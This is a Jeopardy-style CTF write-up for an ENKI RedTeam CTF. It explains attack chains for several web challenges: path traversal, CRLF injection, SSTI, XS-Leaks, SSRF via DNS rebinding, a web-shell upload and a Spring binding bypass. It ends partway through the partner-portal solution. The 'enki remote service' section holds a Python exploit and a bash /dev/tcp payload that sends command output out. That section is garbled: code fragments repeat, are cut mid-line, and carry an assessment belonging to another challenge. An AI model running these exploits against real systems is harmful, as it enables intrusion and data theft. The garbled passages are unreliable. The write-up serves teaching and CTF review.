


Presenting a write-up for the Jeopardy questions from the 2026 ENKI RedTeam CTF.
This content is designed around 8 questions including blog, boom, catllery, enki remote service, leakage, luck, partner contract portal, and sfa. It focuses on how to view and approach the questions from an attacker's perspective, going beyond simple answer sharing. For each question, it includes vulnerability identification, the author's intent, the solving process, and a comprehensive evaluation, allowing you not only to solve individual questions but also to understand the overall attack flow and mindset.
For those who have attempted the questions, it offers review and insights. For newcomers, it serves as a starting point for understanding the attacker's perspective.
blog
Welcome to ENKI Whitehat blog!!
Execute /readflag to get flag.
Vulnerability Classification
Path Traversal (Arbitrary File Read), CRLF Injection / HTTP Header Injection, nginx Internal Redirect, Server-Side Template Injection (SSTI)
Purpose of the Problem
The objective of this challenge is to evaluate the ability to construct an attack chain that leads to server configuration and source code exposure progressively, culminating in remote code execution (RCE) in a black box environment where the source code is not provided.
Identify File Download Vulnerability and Gather Information: Evaluate the ability to bypass server-side filtering limitations to perform arbitrary file reads and gather server configurations and source code.
Understand nginx Internal Operations: Determine whether you can access internal routing paths requiring authentication by understanding the behavior of nginx's Named Location and
X-Accel-Redirectheaders.Custom Template Engine SSTI Vulnerability: Analyze the filter system of a custom-implemented template engine to verify if arbitrary code execution is possible through context override.
Solution
1. Function Exploration and Vulnerability Identification
When connecting to the service in a black box environment, a blog-style website is available. Each post (/post/<id>) has a download link, allowing files to be downloaded through the /post/download?filename=... endpoint.
Testing the file download function reveals these characteristics:
Removing
../string replacements.Removing
..\\\\string replacements.
Additionally, if / is inserted at the beginning, it allows the top-level directory to be traversed, enabling file download attacks.
2. Collecting Server Information
Using this vulnerability, sequentially read the following files to understand the server's structure:
/home/app/.sh_history: Use command history to understand directory structure and service setup./etc/nginx/conf.d/default.confand/etc/nginx/default.conf.template: Check nginx configurations./app/backend/routes/*.py,/app/backend/framework/*.py: Obtain backend source code.
Upon analyzing the nginx configuration, the following structure can be found:
The
/auth/path requires passing Bearer token validation and an IP range check (10.231.3.x) to route to the internal Named Location (@admin).Since it’s not accessible by normal means, other vulnerabilities in the backend must be exploited to access the
@adminrouting.
3. nginx Internal Redirect via Header Injection
Analyzing the backend source code reveals that the user-supplied theme value from the /profile/theme endpoint is set directly with the set_cookie method.
Because validation of cookie_line values is missing, a CRLF Injection vulnerability occurs.
However, a 16-byte length limit is imposed on the theme parameter that needs to be bypassed.
Upon analyzing the get_one function, a bug in the recursive implementation is discovered that allows bypassing the check using an array parameter format like theme[][]. This makes injecting the X-Accel-Redirect header possible.
X-Accel-Redirect is an nginx internal redirect feature. If this header is included in the backend response, nginx changes the internal request to the specified Named Location, allowing access to @admin routing without token or IP verification.
4. Server-Side Template Injection (SSTI)
The service uses a custom template engine, rather than a template engine like Jinja. Of the endpoints using this engine, at /admin/announce, user input is used as an argument with little processing.
The critical vulnerability in the custom template engine is as follows:
A dictionary called
__filters__exists in the template context, where filter functions are defined.With insufficient validation and logic bugs in parameter binding, it is possible to overwrite the context's
__filters__.Filter expressions are internally executed with
eval().
By injecting a dictionary in the msg parameter, you can replace already defined safe filters with malicious expressions, enabling arbitrary code execution.
This payload uses Python's warnings.catch_warnings class to access __builtins__ and executes os.popen() to run the /readflag binary.
5. Exploit Execution
Combining these steps, the final exploit is as follows:
Upon execution, it retrieves the flag ENKI{cd47897817aacda9abef6dcbfcdf5bfc1a0c1f11d7affdb8dcf7d10916ba3353} from the output of /readflag.
Overall Evaluation
This problem is designed not to focus on discovering a single vulnerability but to evaluate the process of deducing the service's structure in a black box environment and chaining vulnerabilities to reach the final goal. Initially, configuration files and source code are secured through the file download feature, and subsequent analysis of internal routing and admin function approaches is required to progress.
The key intent lies in exploiting internal redirects with X-Accel-Redirect and, in the final stage, identifying implementation flaws in a custom template engine to connect SSTI to RCE. It emphasizes not just attacking simple vulnerabilities but also analyzing server configurations, application logic, and template engine code to combine vulnerabilities in a chain.
BOOM
Piece by piece
Vulnerability Classification
CRLF Injection, HTTP Response Splitting, XS-Leaks (Cross-Site Leaks)
Intent of the Problem
This problem is not about a single vulnerability, but it’s designed to assess the ability to construct an attack chain that extracts a flag by linking multiple web security techniques. Specifically, it verifies the following three core skills.
Advanced Use of CRLF Injection: Identifies CRLF Injection that occurs when user input is reflected in HTTP response headers and verifies if arbitrary HTTP headers can be inserted based on this.
Understanding of HTTP/1.1 Protocol: Uses the HTTP/1.1 specification, where
Transfer-Encoding: chunkedtakes precedence overContent-Length, to evaluate whether server-sideContent-Length: 0defenses can be bypassed.Side-Channel Attacks via XS-Leaks: Utilizes the Content-Security-Policy (CSP) report mechanism as an oracle to implement an attack technique that leaks the content of the response body one character at a time.
Solution
1. Analyze Server Structure
This problem consists of three components.
app (Python HTTP Server, Port 3000): Core application server
Apache Reverse Proxy: Proxy that enforces the CSP header (
default-src 'none')bot (Puppeteer): A bot that visits the attacker-specified path with the
FLAGcookie
The core logic of the app server is as follows.
The key points are as follows.
The value of the
qparameter is directly reflected in theContent-Typeheader.If the bot navigates directly (top-level navigation),
Content-Length: 0is set so the response body does not display.The response body includes the bot's
FLAGcookie value.
Additionally, the Apache proxy enforces Content-Security-Policy: default-src 'none', which limits typical XSS attacks.
2. Inserting Headers via CRLF Injection
By inserting \\r\\n (CRLF) characters into the q parameter, arbitrary HTTP headers can be added behind the Content-Type header. For example, sending a request like:
will include the following X-Custom header in the server response:
This CRLF Injection becomes the basis for subsequent attacks.
3. Bypassing Content-Length via HTTP/1.1 Transfer-Encoding
When the bot visits the page directly, Content-Length: 0 is set, so the response body (the flag) is not rendered by the browser. To bypass this, a significant specification of HTTP/1.1 is utilized.
According to RFC 7230, when
Transfer-EncodingandContent-Lengthare both present,Transfer-Encodingtakes precedence.
Therefore, by inserting a Transfer-Encoding: chunked header via CRLF Injection and including redirect HTML in the chunked encoded body, it achieves:
Passing this payload in the q parameter allows the bot's browser to ignore Content-Length: 0 and parse the chunked body, redirecting to the attacker's server.
4. XS-Leaks: Extracting Flags via CSP Reports as an Oracle
After guiding the bot to the attacker's server, the XS-Leaks technique extracts the flag character by character. The main principle is as follows:
Principle: The server response body contains the flag. Precise control of Content-Length through CRLF Injection allows the response body to be displayed only up to a certain trimmed length. By embedding the truncated body inside a <style> tag and specifying a SHA-256 hash of that content in the Content-Security-Policy-Report-Only header:
If the hash matches → No CSP violation occurs → No report is sent
If the hash does not match → CSP violation occurs → Report is sent to the attacker's server
This establishes an oracle of “candidate with no report sent = correct character”.
Attack Flow:
The key logic of the attacker server is as follows.
This function is called for each candidate character to generate probe URLs. As the bot loads these URLs sequentially, non-correct candidates send CSP reports to the attacker's server. The last candidate without a report becomes the correct character and is repeated to recover the entire flag.
Eventually, the flag ENKI{3f9ed664533c75baa86a1fe3009926de2099363} can be obtained.
Overall Assessment
This problem requires constructing a complex attack chain linking a relatively simple vulnerability like CRLF Injection with understanding HTTP protocol behavior and advanced side-channel techniques like XS-Leaks.
Catllery
Meow Meow Meow....
Vulnerability Classification
SSRF (Server-Side Request Forgery), DNS Rebinding
Purpose of the Question
This question is designed to assess your ability to identify the security blind spots in image optimization features offered by frontend frameworks and to perform SSRF attacks using the DNS Rebinding technique. Specifically, the following capabilities are evaluated:
Identifying SSRF Potential in Next.js Image Optimization Endpoint: Understand the mechanism by which the
/_next/imageendpoint retrieves images from external URLs on the server side, and verify if it can be used to access internal services.Bypassing Protections via DNS Rebinding: Assess whether the DNS Rebinding technique can be applied to bypass host verification or DNS-based protections.
Analyzing Internal API Structure and Circumventing Access Controls: Verify the ability to analyze the business logic and access control mechanisms of internal Flask services based on source code to derive bypass methods.
Solution
1. Understanding the Service Structure
Analyzing the provided source code reveals that this service operates under a dual structure as follows:
External Service (Next.js, Port 3000): The frontend web application exposed to users
Internal Service (Flask + Redis, Port 5000): The backend API accessible only at 127.0.0.1
Checking docker-compose.yml reveals that only port 3000 is exposed externally, and direct access to the internal Flask service is not possible. Insight from Next.js's middleware.ts and lib/internal.ts confirms that the frontend calls the internal API at http://127.0.0.1:5000 server-side.
2. Identifying Core Objectives
Analyzing the code of the internal Flask service (app.py) shows that the /internal/get-image endpoint is central.
This endpoint checks the requester's reservation seat information and returns an image containing the flag only to users who hold a VIP seat. However, using the VIP seat's ticket_no directly returns a 403 response.
The VIP seat is automatically generated during server initialization, and the ticket_no is stored in Redis with a TTL of 365 days. General seat reservations have a short TTL of 7 seconds.
What's important here is the operation of the lookup Lua script.
Due to the tonumber() comparison, even if the VIP's ticket_no is a very long number (365 digits), you can look up VIP seat reservations with another ticket_no that is identical in the early part, owing to Lua's floating-point precision limit. However, there's a more straightforward attack route — accessing the internal API through SSRF.
3. SSRF via Next.js Image Optimization Endpoint
Examining next.config.ts reveals the following configuration:
The hostname: "**" setting allows loading images from all hosts. Since the /_next/image endpoint in Next.js fetches images from the specified URL on the server side, it can be used as an SSRF vector.
However, Next.js performs basic validation on the url parameter. Direct requests to localhost or internal IP may be blocked, so DNS Rebinding is used to circumvent this.
4. Internal Access via DNS Rebinding
DNS Rebinding is a technique that manipulates DNS responses to make the same domain return an external IP on the first lookup and an internal IP (127.0.0.1) on the second.
Using rbndr.us, this can be implemented easily. The domain format is {externalIP hex}.{internalIP hex}.rbndr.us, and it returns one of the two IPs randomly at each lookup.
The hex representation of 127.0.0.1 is 7f000001, so you can construct the following URL:
The ticket_no=1e309 is used because this value represents a very large number in scientific notation, which allows it to be evaluated as equivalent to the VIP's long ticket_no in Lua's tonumber() comparison.
5. Execution of Exploit
Since DNS Rebinding works probabilistically, you send repeated requests until successful.
If the request is successful when DNS returns the internal IP, the image exclusively for VIP is downloaded. This image contains the flag ENKI{Th1s_1s_R34L_FL4G_XD}.
Overall Evaluation
This challenge demonstrates how the image optimization features offered by modern frontend frameworks like Next.js can be exploited as an SSRF vector. The DNS Rebinding technique remains a viable threat in network isolation-reliant architectures, underlining the necessity of multilayered defenses like strictly limiting remotePatterns settings and implementing server-side DNS pinning. It highlights the importance of verifying that no unintended internal network access paths exist when separating internal and external services in practical environments.
enki remote service
enki remote service
Vulnerability Classification
Arbitrary File Upload (WebShell), Command Injection (CVE-2026-1731)
Intent of the Problem
This problem is set to evaluate if a candidate can identify vulnerabilities by analyzing the communication between a server and an agent (client) in a black box environment where the source code is not provided, and further assess if the RCE vulnerability on the agent client can be exploited to affect the VM in the isolated environment.
Solution
1. Understanding the Service Structure
Upon accessing the provided URL, there is a button to create an instance, which generates an isolated web server and agent server. The web server, based on PHP, connects to the linked agents at the /_agent endpoint to send commands and receive the results. The agent server provides an agent that is connected to the web server but blocked from making any external server connections.
One flag is stored on each the web server and agent server; to get the final flag, both must be exploited.
2. Obtaining the Web Server Shell
Once an agent is registered, a screenshot function can be requested, and the screenshot file is saved at the path workspace/<agent_name>.<ext>. By analyzing the agent, it is revealed that when uploading a screenshot, a mime type such as image/png is sent, and the server splits by / to directly use the extension. Thus, a web shell can easily be obtained by uploading the screenshot with image/php.
The flag is located at /flag.txt and participants can access the web server's source code.
3. Obtaining the Agent Server Shell
The agent runs from wrapper.sh and restarts each time it is terminated. Upon restart, it sets environment variables by reading the poll_interval_ms key from the ./agent-registration.json file, making RCE possible similarly to CVE-2026-1731 by inserting $() into the [[ ... ]] comparison statement.
The agent has a file-writing feature that can overwrite the agent-registration.json file.
To crash the agent, send an invalid command code (e.g., 0).
Therefore, the exploit can be structured as follows:
Read
/app/enki-data/agents.jsonto check for agent access_code, id, etc.Construct commands to insert into
/app/enki-data/agents.jsonas follows
Because the agent server has its outbound connection blocked, one can create and execute a shell script that sends the HTTP request with the result to the web server as /dev/tcp/{ip}/{port}. Use ${IFS} to adapt syntactically since spaces are removed within comparison commands. 1. Write command-containing content into agent-registration.json 2. Write a non-existing command type to cause a crash, executing commands thusly
<" >&2; exit 1;}} H={host!r}; P={port}; A={agent_id!r}; C={command_id}; U={path!r} M=$1; AL=${{#A}}; ML=${{#M}}; B=$((1+2+AL+8+1+2+ML)) put8(){{ printf '%b' "\\\\x$(printf '%02x' "$1")" >&3;}} put16(){{ put8 "$((($1>>8)&255))"; put8 "$(($1&255))";}} put64(){{ for i in 56 48 40 32 24 16 8 0; do put8 "$(( (C>>i)&255 ))"; done;}} exec 3>
The final exploit code is as follows:
<" >&2; exit 1;}} H={host!r}; P={port}; A={agent_id!r}; C={command_id}; U={path!r} M=$1; AL=${{#A}}; ML=${{#M}}; B=$((1+2+AL+8+1+2+ML)) put8(){{ printf '%b' "\\\\x$(printf '%02x' "$1")" >&3;}} put16(){{ put8 "$((($1>>8)&255))"; put8 "$(($1&255))";}} put64(){{ for i in 56 48 40 32 24 16 8 0; do put8 "$(( (C>>i)&255 ))"; done;}} exec 3<>/dev/tcp/"$H"/"$P" printf "POST %s HTTP/1.1\\\\r\\\\nHost: %s:%s\\\\r\\\\nContent-Type: application/octet-stream\\\\r\\\\nContent-Length: %s\\\\r\\\\n\\\\r\\\\n" "$U" "$H" "$P" "$B" >&3 put8 3; put16 "$AL" >&3; printf '%s' "$A" >&3; put64 >&3; put8 0; put16 "$ML" >&3; printf '%s' "$M" >&3 exec 3>&- ''' def do_raw(base_url: str, body: bytes) -> tuple[int, bytes]: resp = s.post( base_url.rstrip("/") + "/_agent", data=body, headers={"Content-Type": "application/octet-stream"}, timeout=20, ) raw = resp.content if resp.status_code >= 400: if len(raw) >= 1 and raw[0] == RES_ERROR: off = [1] raise RuntimeError(f"server error:{read_str(raw, off)}") raise RuntimeError(f"request failed{resp.status_code}") if len(raw) < 1: return RES_NO_CONTENT, b"" return int(raw[0]), raw[1:] def register(base_url: str, name: str) -> tuple[str, str, int]: code, payload = do_raw(base_url, build_register(name)) if code == RES_ERROR: raise RuntimeError("registration failed") if code != RES_OK or not payload: raise RuntimeError("invalid register response") off = [0] agent_id = read_str(payload, off) access_code = read_str(payload, off) poll_ms = struct.unpack_from(">I", payload, off[0])[0] if off[0] + 4 <= len(payload) else 2000 return agent_id, access_code, poll_ms def pull_command(base_url: str, agent_id: str) -> tuple[int, int, int, int, str, str] | None: code, payload = do_raw(base_url, build_pull(agent_id)) if code == RES_ERROR: raise RuntimeError("pull failed") if code == RES_NO_CONTENT or not payload: return None off = [0] if off[0] + 8 > len(payload): return None (cmd_id,) = struct.unpack_from(">Q", payload, off[0]) off[0] += 8 if off[0] >= len(payload): return None opcode = payload[off[0]] off[0] += 1 if off[0] + 8 > len(payload): return None x, y = struct.unpack_from(">ii", payload, off[0]) off[0] += 8 return (cmd_id, opcode, x, y, read_str(payload, off), read_str(payload, off)) def upload_screenshot(base_url: str, agent_id: str, command_id: int, mime: str, image_bytes: bytes) -> None: body = build_screenshot(agent_id, command_id, mime, base64.b64encode(image_bytes)) if do_raw(base_url, body)[0] == RES_ERROR: raise RuntimeError("screenshot upload failed") def pend(i: int, typ: str, cmd: str = "", keys: str = "", err: str = "") -> dict: return {"id": i, "type": typ, "x": 0, "y": 0, "cmd": cmd, "keys": keys, "status": "pending", "error": err, "created_at": ""} def push_agents(sh, key: str, agent: dict) -> None: b64 = base64.b64encode(json.dumps({key: agent}).encode()).decode() sh(f"echo '{b64}' | base64 -d > /app/enki-data/agents.json") def run_attack() -> None: global s s = requests.Session() r = s.post("http://15.165.103.134/api/instances").json() web_url = r["web_url"].rstrip("/") print(f"[*] Instance:{r['id']}, web_url:{web_url}") agent_id, access_code, _ = register(web_url, "../../../../../../app/enki/workspace/paw") print(f"[*] Registered: agent_id={agent_id}, access_code={access_code}") q = s.post( f"{web_url}/?code={access_code}", data={"action": "request_screenshot", "code": access_code}, headers={"Content-Type": "application/x-www-form-urlencoded"}, timeout=10, allow_redirects=True, ) print( "[*] Screenshot queued." if q.status_code == 200 and "Screenshot command queued" in q.text else f"[!] Queue failed:{q.status_code}" ) mini = b">
Overall Assessment
This problem focuses more on business logic vulnerabilities (such as account takeover via email swap) than on technical vulnerabilities (like Path Traversal or CAPTCHA bypass). It is a real-world-like problem demonstrating that a single logical flaw, such as the lack of authorization checks in email change APIs, can compromise the entire authentication system, even with 2FA (OTP) and client-side encryption (AES-GCM) implemented. The lesson emphasized is not to solely rely on encrypted communication or MFA for security, but to ensure thorough authorization checks on the business logic of each API.
This problem uses cases encountered in the field to provide participants with useful insights, such as the following:
Even web hackers should be able to perform reversing with tools like IDA MCP when given a client
Shell acquisition should be possible through appropriate guessing
Stay current with the latest issues, such as CVE-2026-1731
The ability to exfiltrate data from a server with no external communication and no utility tools is required, which is suitable for practicality tests in hiring CTF challenges, offering solutions for field-adapted learnings.
&2; exit 1;}} H={host!r}; P={port}; A={agent_id!r}; C={command_id}; U={path!r} M=$1; AL=${{#A}}; ML=${{#M}}; B=$((1+2+AL+8+1+2+ML)) put8(){{ printf '%b' "\\\\x$(printf '%02x' "$1")" >&3;}} put16(){{ put8 "$((($1>>8)&255))"; put8 "$(($1&255))";}} put64(){{ for i in 56 48 40 32 24 16 8 0; do put8 "$(( (C>>i)&255 ))"; done;}} exec 3<>/dev/tcp/"$H"/"$P" printf "POST %s HTTP/1.1\\\\r\\\\nHost: %s:%s\\\\r\\\\nContent-Type: application/octet-stream\\\\r\\\\nContent-Length: %s\\\\r\\\\n\\\\r\\\\n" "$U" "$H" "$P" "$B" >&3 put8 3; put16 "$AL" >&3; printf '%s' "$A" >&3; put64 >&3; put8 0; put16 "$ML" >&3; printf '%s' "$M" >&3 exec 3>&- ''' def do_raw(base_url: str, body: bytes) -> tuple[int, bytes]: resp = s.post( base_url.rstrip("/") + "/_agent", data=body, headers={"Content-Type": "application/octet-stream"}, timeout=20, ) raw = resp.content if resp.status_code >= 400: if len(raw) >= 1 and raw[0] == RES_ERROR: off = [1] raise RuntimeError(f"server error:{read_str(raw, off)}") raise RuntimeError(f"request failed{resp.status_code}") if len(raw) < 1: return RES_NO_CONTENT, b"" return int(raw[0]), raw[1:] def register(base_url: str, name: str) -> tuple[str, str, int]: code, payload = do_raw(base_url, build_register(name)) if code == RES_ERROR: raise RuntimeError("registration failed") if code != RES_OK or not payload: raise RuntimeError("invalid register response") off = [0] agent_id = read_str(payload, off) access_code = read_str(payload, off) poll_ms = struct.unpack_from(">I", payload, off[0])[0] if off[0] + 4 <= len(payload) else 2000 return agent_id, access_code, poll_ms def pull_command(base_url: str, agent_id: str) -> tuple[int, int, int, int, str, str] | None: code, payload = do_raw(base_url, build_pull(agent_id)) if code == RES_ERROR: raise RuntimeError("pull failed") if code == RES_NO_CONTENT or not payload: return None off = [0] if off[0] + 8 > len(payload): return None (cmd_id,) = struct.unpack_from(">Q", payload, off[0]) off[0] += 8 if off[0] >= len(payload): return None opcode = payload[off[0]] off[0] += 1 if off[0] + 8 > len(payload): return None x, y = struct.unpack_from(">ii", payload, off[0]) off[0] += 8 return (cmd_id, opcode, x, y, read_str(payload, off), read_str(payload, off)) def upload_screenshot(base_url: str, agent_id: str, command_id: int, mime: str, image_bytes: bytes) -> None: body = build_screenshot(agent_id, command_id, mime, base64.b64encode(image_bytes)) if do_raw(base_url, body)[0] == RES_ERROR: raise RuntimeError("screenshot upload failed") def pend(i: int, typ: str, cmd: str = "", keys: str = "", err: str = "") -> dict: return {"id": i, "type": typ, "x": 0, "y": 0, "cmd": cmd, "keys": keys, "status": "pending", "error": err, "created_at": ""} def push_agents(sh, key: str, agent: dict) -> None: b64 = base64.b64encode(json.dumps({key: agent}).encode()).decode() sh(f"echo '{b64}' | base64 -d > /app/enki-data/agents.json") def run_attack() -> None: global s s = requests.Session() r = s.post("http://15.165.103.134/api/instances").json() web_url = r["web_url"].rstrip("/") print(f"[*] Instance:{r['id']}, web_url:{web_url}") agent_id, access_code, _ = register(web_url, "../../../../../../app/enki/workspace/paw") print(f"[*] Registered: agent_id={agent_id}, access_code={access_code}") q = s.post( f"{web_url}/?code={access_code}", data={"action": "request_screenshot", "code": access_code}, headers={"Content-Type": "application/x-www-form-urlencoded"}, timeout=10, allow_redirects=True, ) print( "[*] Screenshot queued." if q.status_code == 200 and "Screenshot command queued" in q.text else f"[!] Queue failed:{q.status_code}" ) mini = b">&2; exit 1;}} H={host!r}; P={port}; A={agent_id!r}; C={command_id}; U={path!r} M=$1; AL=${{#A}}; ML=${{#M}}; B=$((1+2+AL+8+1+2+ML)) put8(){{ printf '%b' "\\\\x$(printf '%02x' "$1")" >&3;}} put16(){{ put8 "$((($1>>8)&255))"; put8 "$(($1&255))";}} put64(){{ for i in 56 48 40 32 24 16 8 0; do put8 "$(( (C>>i)&255 ))"; done;}} exec 3>
leakage
Vulnerability Classification
HTML Injection, Cross-Site Request Forgery (CSRF), Spring Data Binding Bypass (CVE-2025-22233), Unicode Decoding Trick
Exam Intent
This problem is designed to assess the ability to construct a multi-step vulnerability chain in a Spring Boot-based web application. It verifies the process of bypassing multiple security mechanisms step-by-step to reach the final goal (obtaining administrator privileges), rather than a simple single-vulnerability attack.
JavaScript Code Injection: Identify if client-side code can be executed through the username reflected in
console.log().HTML Injection + CSRF Combination: Evaluate whether a CSRF attack can be performed by sending a profile update request with the bot's (administrator's) privileges using HTML Injection in the memo feature.
CVE-2025-22233 and Unicode-Based Filter Bypass: Verify the ability to apply advanced techniques to bypass both Spring's
setDisallowedFieldsprotection and server-side string filtering simultaneously.
Solution
1. Understanding the Service Structure
By analyzing the provided source code, the following configuration can be confirmed.
Spring Boot Web Application (Port 8080): Provides features for user registration, profile management, and memo creation/viewing
Bot Service (Puppeteer, Port 3000): Logs in with an administrator account and visits a user-specified memo path
The bot logs in with an administrator account to view memos, making it a target for CSRF attacks.
2. Discovering the JavaScript Code Injection Path
When accessing the /profile page, the user's name is output in console.log(). If the username contains " (double quotes), it is inserted without escaping, allowing for JavaScript code injection.
However, the username is limited to 20 characters, making direct attack payload insertion difficult. It needs to be combined with other features for effective use.
Set the username as follows.
When this name is inserted into console.log("...");, the following code is executed.
top.a.submit() submits a form in the parent frame with id=a.
3. Constructing CSRF via HTML Injection
HTML Injection is possible in child memos within the memo feature. This can be used to construct an HTML form for CSRF attacks.
The operation of this structure is as follows.
When the bot views the child memo, the HTML form and iframe are rendered.
As the iframe loads
/profile/{userid}, code injection is executed in the profile page'sconsole.log().top.a.submit()is called, and the<form id=a>in the parent frame is submitted.A profile update request is sent with the administrator session, changing the permission field (
isPerm).
4. CVE-2025-22233 — Bypassing Spring setDisallowedFields
When updating the profile, the permission field isPerm is protected by Spring's binder.setDisallowedFields("isPerm"), generally blocking binding.
CVE-2025-22233 exploits a case-handling inconsistency vulnerability in the field name matching logic of setDisallowedFields. By using İsPerm (Turkish capital I: İ, U+0130) with the first letter capitalized, the setDisallowedFields check is bypassed while Spring's property binding correctly maps it to the isPerm field.
5. Bypassing Filters with Byte Casts
Even if the value of the isPerm field is updated, additional filtering is performed on the server side.
If the admin string is directly included, it is removed by the filter. To bypass this, Spring's UriUtils.decode() (before Spring 6.2.9) can be leveraged for its byte overflow behavior.
UriUtils.decode() internally uses ByteArrayOutputStream.write(int b), which casts the input to byte. When Java's char (16-bit) is converted to a byte (8-bit), only the lower byte remains.
The mapping taking advantage of this characteristic is as follows.
Input Character | Code Point | Lower Byte | Decoding Result |
|---|---|---|---|
| U+2661 | 0x61 |
|
| U+2664 | 0x64 |
|
| U+266D | 0x6D |
|
| U+2669 | 0x69 |
|
| U+266E | 0x6E |
|
Thus, inputting ♡♤♭♩♮ passes through the replaceAll filter and then is converted into admin by UriUtils.decode(). Note that unless the payload contains the % character, UriUtils.decode() does not perform decoding (if the changed flag is false), so %20 is added to ensure decoding is executed.
6. Executing the Exploit
The automated exploit for the above process is as follows.
After obtaining administrator privileges, set the Host header to localhost or 127.0.0.1 to access the /admin/flag endpoint and receive the flag ENKI{48869ff73110ac17ccf68fe88f1e5f40f3f2d86fb2127f142444c2b3f2d36856}.
Overall Evaluation
This problem is a high-difficulty task requiring the organic connection of four techniques: HTML Injection, CSRF, Spring Data Binding Bypass (CVE-2025-22233), and Unicode Decoding Trick. Particularly, the filter bypass using Java's byte casting demonstrates the danger of encoding-related vulnerabilities that can easily be overlooked in practice, and the fact that Spring framework security mechanisms (setDisallowedFields) can be bypassed through CVEs underscores the importance of security updates for the framework.
luck
For problem-solving, please connect to the following platform, authenticate with a token, and receive an instance.
Create Instance: http://portal.luck.rctf.enki.co.kr/
Vulnerability Classification
WAF Bypass, Path Traversal, SSRF (Server-Side Request Forgery), Side-Channel Attack (/proc/self/io)
Purpose of the Problem
This problem was designed to comprehensively evaluate the ability to construct a multi-stage complex attack chain, spanning from WAF (Web Application Firewall) bypass to binary reversing and side-channel attacks, in a black box environment where source code is not provided.
WAF Bypass Techniques: Evaluate the ability to bypass parameter checks through large requests by analyzing partial inspection mode and cache mechanisms.
Exploiting File Download Vulnerabilities: Verify if it is possible to leak server source code and internal binaries through Path Traversal to obtain additional attack surfaces.
Side-Channel Attack: In scenarios where direct output is blocked, verify the ability to implement advanced techniques to extract flags one character at a time by observing changes in the
wcharvalues of/proc/self/io.
Solution
1. Exploring Service Features
When accessing the service in a black box environment, a service in the form of an in-house bulletin board that allows login with the guest/guest123 account is provided. The main features are as follows:
Bulletin Board (
/board): View list of posts, view individual posts, and download attachmentsFile Download (
/board/download): Download files usingFileNameorFileIDparametersTool Collection (
/tools): Calculator (/api/calc), QR Code Generator (/api/qr), Link Preview (/api/link-preview)Memo (
/memo): Write and view memosBack-Office Terminal (
/back-office-terminal.html): TCP connection to back-office services with a web terminal UI
2. Stage 1 — Path Traversal through WAF Bypass
There is a Path Traversal vulnerability in the file download feature (/board/download?FileName=), but the server-side filter only removes patterns ./ and .u00005C, without blocking ../. However, the WAF detects and blocks ../ patterns.
Analyzing the WAF's operation reveals the following characteristics:
Stores combinations of
IP:URIof requests that pass inspection in cache (TTL approx. 2000ms)Blocks large requests (>4MB) without cache
If cache exists, switches to partial inspection mode: Inspects parameters only up to the inspection budget (4MB) and skips the rest
The procedure for WAF bypass using these characteristics is as follows:
Send a legitimate request to
/board/downloadto warm the WAF cache.Within the cache TTL (2000ms), send a POST request of more than 4MB. Place padding parameters larger than 4MB at the front, followed by the
FileNameparameter.The WAF enters partial inspection mode due to cache hit and consumes the inspection budget with the padding.
Once the budget is consumed, the
../pattern in theFileNameparameter located behind is not inspected and passes through.
On the server side, ...// is converted to ../ by removing ./, succeeding Path Traversal through double encoding technique. Cache warming and attack requests are executed in parallel to increase success rate.
Through /proc/self/fd/4, you can download the web server's source code (JAR file).
3. Gathering Internal Information
Analyzing the obtained source code reveals that internal network requests (SSRF) via /api/link-preview and directory listing via the /api/test endpoint are possible.
Leverage Path Traversal to collect additional files.
/home/chall/.bash_history: Server environment information (back-office binary path, etc.)/opt/backoffice/back-office_3ab1542105c9b5aa758c35407db2bfe8: Back-office Rust binary/opt/backoffice/Dockerfile: Confirm that the flag file is located at/app/flag.txt
4. Stage 2 — Reversing the Back-Office Binary
Reversing the downloaded back-office binary (written in Rust) reveals the following actions:
The key constraint is that lines containing the flag (ENKI{...}) are redirected to /dev/null and cannot be read directly. To bypass this, perform a Side-Channel Attack.
5. Stage 3 — Extract Flag via Side-Channel Attack
The amount of data written to /dev/null can be indirectly observed through the wchar (written characters) value of /proc/self/io. If a pattern matches the flag, the line is written to /dev/null, changing the wchar increment. Use this as an oracle.
Attack Algorithm:
Measure Baseline: Execute a blank pattern (
"") N times (70 times) and measure thewcharchanges to set a threshold (approx. 3000).Filter Valid Characters: Test each character that might be in the flag alone; retain only those whose
wcharchanges exceed the threshold.Brute-Force Each Character: Attach candidate characters to the current prefix (
ENKI{+ confirmed character) and test each. Ifwcharchanges exceed the threshold, that character is correct.Repeat until the
}character is found.
Apply parallel processing to test candidate characters at each position simultaneously, improving attack speed. Ultimately, you can obtain the flag ENKI{h3110_and_wE1C0ME_EnK1}.
Comprehensive Evaluation
This problem is a high-difficulty challenge requiring mastery of WAF Bypass, Path Traversal, binary reversing, and Side-Channel Attacks in succession. The WAF bypass technique leveraging partial inspection mode is an excellent example of exploiting performance constraints of real security devices for attacks, and the Side-Channel Attack using /proc/self/io demonstrates extracting information in environments where direct data leaks are blocked. From a defense perspective, it suggests strengthening input validation at the application level instead of relying solely on WAF.
Partner Contract Portal
We have opened a secure partner contract portal for partner agreements.
Please connect to the following platform and authenticate the token to receive an instance for solving this problem.
Create instance: http://portal.partner.rctf.enki.co.kr/
Classification of Vulnerabilities
CAPTCHA Bypass, IDOR (Insecure Direct Object Reference), Business Logic Vulnerability (Account Hijacking through Email Swap), Encryption Logic Analysis, Path Traversal
Intended Problem
This problem was designed to evaluate the ability to detect and exploit common business logic vulnerabilities in a real-world-like black box environment where source code is not provided, and to escalate usage to misuse such vulnerabilities to hijack an account with the highest privileges.
Business Logic Analysis: Identify logical flaws in email changing and password reset flow within an OTP multi-step authentication and encrypted communication environment.
Client-side Encryption Analysis: Analyze and reproduce the AES-GCM encryption logic implemented on frontend to evaluate if security API requests can be accurately composed.
Stepwise Privilege Escalation: Verify whether it is possible to construct a privilege escalation chain from general user → internal staff privilege (internal_ops) → internal admin privilege (internal_admin).
Solution
This problem comprises a total of 11 sequential attack steps. Each step is described in detail.
STEP 1. Registration
Upon accessing the service, a partner contract portal is provided. First, proceed with registration. The password must include uppercase, lowercase, special characters, numbers, and be longer than 10 characters.
During registration, you must pass CAPTCHA (puzzle type authentication). The CAPTCHA is solved automatically by parsing the slot location in the SVG image, where pieces are slid into the correct position.
Once registration is completed, JWT token, OTP registration key, user ID, company ID, and user key seed are returned.
STEP 2. OTP Registration
Register the issued OTP secret key with a TOTP algorithm. OTP will be required for all subsequent authentication processes.
STEP 3. Gathering internal_ops Privilege Account Information
In the response of the /api/notices API, the author's userId and companyId are exposed, allowing collection of identification information for the internal staff (internal_ops) account.
STEP 4. Hijacking the internal_ops Account via Email Swap
